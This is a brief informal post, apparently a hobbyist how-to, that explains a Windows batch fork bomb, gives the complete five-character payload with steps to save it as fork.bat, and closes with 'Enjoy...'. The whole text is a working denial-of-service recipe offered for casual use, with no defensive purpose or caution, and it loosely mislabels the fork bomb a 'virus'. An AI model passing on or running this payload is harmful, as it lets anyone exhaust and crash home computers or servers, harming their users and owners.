A Fork bomb is considered to be the smallest writable virus in the batch language and it is capable of being annoying and if launched on a home computer however on a server will probably result in a crash.
A fork bomb creates two instances which each create two instances and so on..the processes recursively fork, this "forks" the processor and jamm it completely until a crash occurs.
Here is how to make it
open up notepad and type:
%0|%0
and save it as fork.bat Yep..its a virus of just 5 characters :P .
On double clicking this file,it will lead to total CPU jam by opening about 500+ process of command prompt .
Enjoy...
